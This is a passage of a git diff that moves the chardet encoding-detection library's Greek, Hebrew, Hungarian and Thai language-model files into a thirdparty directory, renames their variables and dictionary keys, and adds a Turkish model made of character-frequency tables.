253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: -Latin7_CharToOrderMap = ( \ +Latin7_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -52,7 +50,7 @@ 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 ) -win1253_CharToOrderMap = ( \ +win1253_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -71,13 +69,13 @@ 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 ) -# Model Table: +# Model Table: # total sequences: 100% # first 512 sequences: 98.2851% # first 1024 sequences:1.7001% # rest sequences: 0.0359% -# negative sequences: 0.0148% -GreekLangModel = ( \ +# negative sequences: 0.0148% +GreekLangModel = ( 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,2,2,3,3,3,3,3,3,3,3,1,3,3,3,0,2,2,3,3,0,3,0,3,2,0,3,3,3,0, @@ -208,18 +206,20 @@ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) -Latin7GreekModel = { \ - 'charToOrderMap': Latin7_CharToOrderMap, - 'precedenceMatrix': GreekLangModel, - 'mTypicalPositiveRatio': 0.982851, - 'keepEnglishLetter': constants.False, - 'charsetName': "ISO-8859-7" +Latin7GreekModel = { + 'char_to_order_map': Latin7_char_to_order_map, + 'precedence_matrix': GreekLangModel, + 'typical_positive_ratio': 0.982851, + 'keep_english_letter': False, + 'charset_name': "ISO-8859-7", + 'language': 'Greek', } -Win1253GreekModel = { \ - 'charToOrderMap': win1253_CharToOrderMap, - 'precedenceMatrix': GreekLangModel, - 'mTypicalPositiveRatio': 0.982851, - 'keepEnglishLetter': constants.False, - 'charsetName': "windows-1253" +Win1253GreekModel = { + 'char_to_order_map': win1253_char_to_order_map, + 'precedence_matrix': GreekLangModel, + 'typical_positive_ratio': 0.982851, + 'keep_english_letter': False, + 'charset_name': "windows-1253", + 'language': 'Greek', } diff --git a/extra/chardet/langhebrewmodel.py b/thirdparty/chardet/langhebrewmodel.py old mode 100755 new mode 100644 similarity index 96% rename from extra/chardet/langhebrewmodel.py rename to thirdparty/chardet/langhebrewmodel.py index a8bcc65bf23..58f4c875ec9 --- a/extra/chardet/langhebrewmodel.py +++ b/thirdparty/chardet/langhebrewmodel.py @@ -15,20 +15,18 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants - # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word @@ -36,7 +34,7 @@ # Windows-1255 language model # Character Mapping Table: -win1255_CharToOrderMap = ( \ +WIN1255_CHAR_TO_ORDER_MAP = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -55,13 +53,13 @@ 12, 19, 13, 26, 18, 27, 21, 17, 7, 10, 5,251,252,128, 96,253, ) -# Model Table: +# Model Table: # total sequences: 100% # first 512 sequences: 98.4004% # first 1024 sequences: 1.5981% # rest sequences: 0.087% -# negative sequences: 0.0015% -HebrewLangModel = ( \ +# negative sequences: 0.0015% +HEBREW_LANG_MODEL = ( 0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0, 3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2, @@ -192,10 +190,11 @@ 0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0, ) -Win1255HebrewModel = { \ - 'charToOrderMap': win1255_CharToOrderMap, - 'precedenceMatrix': HebrewLangModel, - 'mTypicalPositiveRatio': 0.984004, - 'keepEnglishLetter': constants.False, - 'charsetName': "windows-1255" +Win1255HebrewModel = { + 'char_to_order_map': WIN1255_CHAR_TO_ORDER_MAP, + 'precedence_matrix': HEBREW_LANG_MODEL, + 'typical_positive_ratio': 0.984004, + 'keep_english_letter': False, + 'charset_name': "windows-1255", + 'language': 'Hebrew', } diff --git a/extra/chardet/langhungarianmodel.py b/thirdparty/chardet/langhungarianmodel.py old mode 100755 new mode 100644 similarity index 94% rename from extra/chardet/langhungarianmodel.py rename to thirdparty/chardet/langhungarianmodel.py index d635f03c291..bb7c095e1ea --- a/extra/chardet/langhungarianmodel.py +++ b/thirdparty/chardet/langhungarianmodel.py @@ -13,27 +13,25 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants - # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: -Latin2_HungarianCharToOrderMap = ( \ +Latin2_HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -52,7 +50,7 @@ 245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) -win1250HungarianCharToOrderMap = ( \ +win1250HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -71,13 +69,13 @@ 245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) -# Model Table: +# Model Table: # total sequences: 100% # first 512 sequences: 94.7368% # first 1024 sequences:5.2623% # rest sequences: 0.8894% -# negative sequences: 0.0009% -HungarianLangModel = ( \ +# negative sequences: 0.0009% +HungarianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, 3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2, 3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1, @@ -208,18 +206,20 @@ 0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0, ) -Latin2HungarianModel = { \ - 'charToOrderMap': Latin2_HungarianCharToOrderMap, - 'precedenceMatrix': HungarianLangModel, - 'mTypicalPositiveRatio': 0.947368, - 'keepEnglishLetter': constants.True, - 'charsetName': "ISO-8859-2" +Latin2HungarianModel = { + 'char_to_order_map': Latin2_HungarianCharToOrderMap, + 'precedence_matrix': HungarianLangModel, + 'typical_positive_ratio': 0.947368, + 'keep_english_letter': True, + 'charset_name': "ISO-8859-2", + 'language': 'Hungarian', } -Win1250HungarianModel = { \ - 'charToOrderMap': win1250HungarianCharToOrderMap, - 'precedenceMatrix': HungarianLangModel, - 'mTypicalPositiveRatio': 0.947368, - 'keepEnglishLetter': constants.True, - 'charsetName': "windows-1250" +Win1250HungarianModel = { + 'char_to_order_map': win1250HungarianCharToOrderMap, + 'precedence_matrix': HungarianLangModel, + 'typical_positive_ratio': 0.947368, + 'keep_english_letter': True, + 'charset_name': "windows-1250", + 'language': 'Hungarian', } diff --git a/extra/chardet/langthaimodel.py b/thirdparty/chardet/langthaimodel.py old mode 100755 new mode 100644 similarity index 97% rename from extra/chardet/langthaimodel.py rename to thirdparty/chardet/langthaimodel.py index 96ec054f243..15f94c2df02 --- a/extra/chardet/langthaimodel.py +++ b/thirdparty/chardet/langthaimodel.py @@ -13,29 +13,27 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants - # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 -# The following result for thai was collected from a limited sample (1M). +# The following result for thai was collected from a limited sample (1M). # Character Mapping Table: -TIS620CharToOrderMap = ( \ +TIS620CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -54,13 +52,13 @@ 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253, ) -# Model Table: +# Model Table: # total sequences: 100% # first 512 sequences: 92.6386% # first 1024 sequences:7.3177% # rest sequences: 1.0230% -# negative sequences: 0.0436% -ThaiLangModel = ( \ +# negative sequences: 0.0436% +ThaiLangModel = ( 0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3, 0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2, 3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3, @@ -191,10 +189,11 @@ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) -TIS620ThaiModel = { \ - 'charToOrderMap': TIS620CharToOrderMap, - 'precedenceMatrix': ThaiLangModel, - 'mTypicalPositiveRatio': 0.926386, - 'keepEnglishLetter': constants.False, - 'charsetName': "TIS-620" +TIS620ThaiModel = { + 'char_to_order_map': TIS620CharToOrderMap, + 'precedence_matrix': ThaiLangModel, + 'typical_positive_ratio': 0.926386, + 'keep_english_letter': False, + 'charset_name': "TIS-620", + 'language': 'Thai', } diff --git a/thirdparty/chardet/langturkishmodel.py b/thirdparty/chardet/langturkishmodel.py new file mode 100644 index 00000000000..a427a457398 --- /dev/null +++ b/thirdparty/chardet/langturkishmodel.py @@ -0,0 +1,193 @@ +# -*- coding: utf-8 -*- +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Özgür Baskın - Turkish Language Model +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# 255: Control characters that usually does not exist in any text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 + +# Character Mapping Table: +Latin5_TurkishCharToOrderMap = ( +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255, 23, 37, 47, 39, 29, 52, 36, 45, 53, 60, 16, 49, 20, 46, 42, + 48, 69, 44, 35, 31, 51, 38, 62, 65, 43, 56,255,255,255,255,255, +255, 1, 21, 28, 12, 2, 18, 27, 25, 3, 24, 10, 5, 13, 4, 15, + 26, 64, 7, 8, 9, 14, 32, 57, 58, 11, 22,255,255,255,255,255, +180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165, +164,163,162,161,160,159,101,158,157,156,155,154,153,152,151,106, +150,149,148,147,146,145,144,100,143,142,141,140,139,138,137,136, + 94, 80, 93,135,105,134,133, 63,132,131,130,129,128,127,126,125, +124,104, 73, 99, 79, 85,123, 54,122, 98, 92,121,120, 91,103,119, + 68,118,117, 97,116,115, 50, 90,114,113,112,111, 55, 41, 40, 86, + 89, 70, 59, 78, 71, 82, 88, 33, 77, 66, 84, 83,110, 75, 61, 96, + 30, 67,109, 74, 87,102, 34, 95, 81,108, 76, 72, 17, 6, 19,107, +) + +TurkishLangModel = ( +3,2,3,3,3,1,3,3,3,3,3,3,3,3,2,1,1,3,3,1,3,3,0,3,3,3,3,3,0,3,1,3, +3,2,1,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, +3,2,2,3,3,0,3,3,3,3,3,3,3,2,3,1,0,3,3,1,3,3,0,3,3,3,3,3,0,3,0,3, +3,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,0,1,0,1, +3,3,2,3,3,0,3,3,3,3,3,3,3,2,3,1,1,3,3,0,3,3,1,2,3,3,3,3,0,3,0,3, +3,1,1,0,0,0,1,0,0,0,0,1,1,0,1,2,1,0,0,0,1,0,0,0,0,2,0,0,0,0,0,1, +3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,1,3,3,2,0,3,2,1,2,2,1,3,3,0,0,0,2, +2,2,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1, +3,3,3,2,3,3,1,2,3,3,3,3,3,3,3,1,3,2,1,0,3,2,0,1,2,3,3,2,1,0,0,2, +2,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,2,0,0,0, +1,0,1,3,3,1,3,3,3,3,3,3,3,1,2,0,0,2,3,0,2,3,0,0,2,2,2,3,0,3,0,1, +2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,0,3,2,0,2,3,2,3,3,1,0,0,2, +3,2,0,0,1,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,2,0,0,1, +3,3,3,2,3,3,2,3,3,3,3,2,3,3,3,0,3,3,0,0,2,1,0,0,2,3,2,2,0,0,0,2, +2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,2,0,0,1, +3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,0,1,3,2,1,1,3,2,3,2,1,0,0,2, +2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0, +3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,2,0,2,3,0,0,2,2,2,2,0,0,0,2, +3,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, +3,3,3,3,3,3,3,2,2,2,2,3,2,3,3,0,3,3,1,1,2,2,0,0,2,2,3,2,0,0,1,3, +0,3,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1, +3,3,3,2,3,3,3,2,1,2,2,3,2,3,3,0,3,2,0,0,1,1,0,1,1,2,1,2,0,0,0,1, +0,3,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0, +3,3,3,2,3,3,2,3,2,2,2,3,3,3,3,1,3,1,1,0,3,2,1,1,3,3,2,3,1,0,0,1, +1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,0,1, +3,2,2,3,3,0,3,3,3,3,3,3,3,2,2,1,0,3,3,1,3,3,0,1,3,3,2,3,0,3,0,3, +2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, +2,2,2,3,3,0,3,3,3,3,3,3,3,3,3,0,0,3,2,0,3,3,0,3,2,3,3,3,0,3,1,3, +2,0,0,0,0,0,0,0,0,0,0,1,0,1,2,0,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, +3,3,3,1,2,3,3,1,0,0,1,0,0,3,3,2,3,0,0,2,0,0,2,0,2,0,0,0,2,0,2,0, +0,3,1,0,1,0,0,0,2,2,1,0,1,1,2,1,2,2,2,0,2,1,1,0,0,0,2,0,0,0,0,0, +1,2,1,3,3,0,3,3,3,3,3,2,3,0,0,0,0,2,3,0,2,3,1,0,2,3,1,3,0,3,0,2, +3,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,1,3,3,2,2,3,2,2,0,1,2,3,0,1,2,1,0,1,0,0,0,1,0,2,2,0,0,0,1, +1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0, +3,3,3,1,3,3,1,1,3,3,1,1,3,3,1,0,2,1,2,0,2,1,0,0,1,1,2,1,0,0,0,2, +2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,1,0,2,1,3,0,0,2,0,0,3,3,0,3,0,0,1,0,1,2,0,0,1,1,2,2,0,1,0, +0,1,2,1,1,0,1,0,1,1,1,1,1,0,1,1,1,2,2,1,2,0,1,0,0,0,0,0,0,1,0,0, +3,3,3,2,3,2,3,3,0,2,2,2,3,3,3,0,3,0,0,0,2,2,0,1,2,1,1,1,0,0,0,1, +0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, +3,3,3,3,3,3,2,1,2,2,3,3,3,3,2,0,2,0,0,0,2,2,0,0,2,1,3,3,0,0,1,1, +1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0, +1,1,2,3,3,0,3,3,3,3,3,3,2,2,0,2,0,2,3,2,3,2,2,2,2,2,2,2,1,3,2,3, +2,0,2,1,2,2,2,2,1,1,2,2,1,2,2,1,2,0,0,2,1,1,0,2,1,0,0,1,0,0,0,1, +2,3,3,1,1,1,0,1,1,1,2,3,2,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0, +0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,2,2,3,2,3,2,2,1,3,3,3,0,2,1,2,0,2,1,0,0,1,1,1,1,1,0,0,1, +2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, +3,3,3,2,3,3,3,3,3,2,3,1,2,3,3,1,2,0,0,0,0,0,0,0,3,2,1,1,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, +3,3,3,2,2,3,3,2,1,1,1,1,1,3,3,0,3,1,0,0,1,1,0,0,3,1,2,1,0,0,0,0, +0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0, +3,3,3,2,2,3,2,2,2,3,2,1,1,3,3,0,3,0,0,0,0,1,0,0,3,1,1,2,0,0,0,1, +1,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,1,1,3,3,0,3,3,3,3,3,2,2,2,1,2,0,2,1,2,2,1,1,0,1,2,2,2,2,2,2,2, +0,0,2,1,2,1,2,1,0,1,1,3,1,2,1,1,2,0,0,2,0,1,0,1,0,1,0,0,0,1,0,1, +3,3,3,1,3,3,3,0,1,1,0,2,2,3,1,0,3,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,0,0,2,2,1,0,0,1,0,0,3,3,1,3,0,0,1,1,0,2,0,3,0,0,0,2,0,1,1, +0,1,2,0,1,2,2,0,2,2,2,2,1,0,2,1,1,0,2,0,2,1,2,0,0,0,0,0,0,0,0,0, +3,3,3,1,3,2,3,2,0,2,2,2,1,3,2,0,2,1,2,0,1,2,0,0,1,0,2,2,0,0,0,2, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0, +3,3,3,0,3,3,1,1,2,3,1,0,3,2,3,0,3,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0, +1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,3,3,0,3,3,2,3,3,2,2,0,0,0,0,1,2,0,1,3,0,0,0,3,1,1,0,3,0,2, +2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,1,2,2,1,0,3,1,1,1,1,3,3,2,3,0,0,1,0,1,2,0,2,2,0,2,2,0,2,1, +0,2,2,1,1,1,1,0,2,1,1,0,1,1,1,1,2,1,2,1,2,0,1,0,1,0,0,0,0,0,0,0, +3,3,3,0,1,1,3,0,0,1,1,0,0,2,2,0,3,0,0,1,1,0,1,0,0,0,0,0,2,0,0,0, +0,3,1,0,1,0,1,0,2,0,0,1,0,1,0,1,1,1,2,1,1,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,0,2,0,2,0,1,1,1,0,0,3,3,0,2,0,0,1,0,0,2,1,1,0,1,0,1,0,1,0, +0,2,0,1,2,0,2,0,2,1,1,0,1,0,2,1,1,0,2,1,1,0,1,0,0,0,1,1,0,0,0,0, +3,2,3,0,1,0,0,0,0,0,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,0,2,0,0,0, +0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,2,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,0,0,2,3,0,0,1,0,1,0,2,3,2,3,0,0,1,3,0,2,1,0,0,0,0,2,0,1,0, +0,2,1,0,0,1,1,0,2,1,0,0,1,0,0,1,1,0,1,1,2,0,1,0,0,0,0,1,0,0,0,0, +3,2,2,0,0,1,1,0,0,0,0,0,0,3,1,1,1,0,0,0,0,0,1,0,0,0,0,0,2,0,1,0, +0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,3,3,0,2,3,2,2,1,2,2,1,1,2,0,1,3,2,2,2,0,0,2,2,0,0,0,1,2,1, +3,0,2,1,1,0,1,1,1,0,1,2,2,2,1,1,2,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0, +0,1,1,2,3,0,3,3,3,2,2,2,2,1,0,1,0,1,0,1,2,2,0,0,2,2,1,3,1,1,2,1, +0,0,1,1,2,0,1,1,0,0,1,2,0,2,1,1,2,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0, +3,3,2,0,0,3,1,0,0,0,0,0,0,3,2,1,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, +0,2,1,1,0,0,1,0,1,2,0,0,1,1,0,0,2,1,1,1,1,0,2,0,0,0,0,0,0,0,0,0, +3,3,2,0,0,1,0,0,0,0,1,0,0,3,3,2,2,0,0,1,0,0,2,0,1,0,0,0,2,0,1,0, +0,0,1,1,0,0,2,0,2,1,0,0,1,1,2,1,2,0,2,1,2,1,1,1,0,0,1,1,0,0,0,0, +3,3,2,0,0,2,2,0,0,0,1,1,0,2,2,1,3,1,0,1,0,1,2,0,0,0,0,0,1,0,1,0, +0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,0,0,0,1,0,0,1,0,0,2,3,1,2,0,0,1,0,0,2,0,0,0,1,0,2,0,2,0, +0,1,1,2,2,1,2,0,2,1,1,0,0,1,1,0,1,1,1,1,2,1,1,0,0,0,0,0,0,0,0,0, +3,3,3,0,2,1,2,1,0,0,1,1,0,3,3,1,2,0,0,1,0,0,2,0,2,0,1,1,2,0,0,0, +0,0,1,1,1,1,2,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0, +3,3,3,0,2,2,3,2,0,0,1,0,0,2,3,1,0,0,0,0,0,0,2,0,2,0,0,0,2,0,0,0, +0,1,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,0,0,0,0,0,0,0,1,0,0,2,2,2,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, +0,0,2,1,1,0,1,0,2,1,1,0,0,1,1,2,1,0,2,0,2,0,1,0,0,0,2,0,0,0,0,0, +0,0,0,2,2,0,2,1,1,1,1,2,2,0,0,1,0,1,0,0,1,3,0,0,0,0,1,0,0,2,1,0, +0,0,1,0,1,0,0,0,0,0,2,1,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, +2,0,0,2,3,0,2,3,1,2,2,0,2,0,0,2,0,2,1,1,1,2,1,0,0,1,2,1,1,2,1,0, +1,0,2,0,1,0,1,1,0,0,2,2,1,2,1,1,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,0,2,1,2,0,0,0,1,0,0,3,2,0,1,0,0,1,0,0,2,0,0,0,1,2,1,0,1,0, +0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,2,2,0,2,2,1,1,0,1,1,1,1,1,0,0,1,2,1,1,1,0,1,0,0,0,1,1,1,1, +0,0,2,1,0,1,1,1,0,1,1,2,1,2,1,1,2,0,1,1,2,1,0,2,0,0,0,0,0,0,0,0, +3,2,2,0,0,2,0,0,0,0,0,0,0,2,2,0,2,0,0,1,0,0,2,0,0,0,0,0,2,0,0,0, +0,2,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,3,2,0,2,2,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0, +2,0,1,0,1,0,1,1,0,0,1,2,0,1,0,1,1,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0, +2,2,2,0,1,1,0,0,0,1,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,1,2,0,1,0, +0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,1,0,1,1,1,0,0,0,0,1,2,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +1,1,2,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,1, +0,0,1,2,2,0,2,1,2,1,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 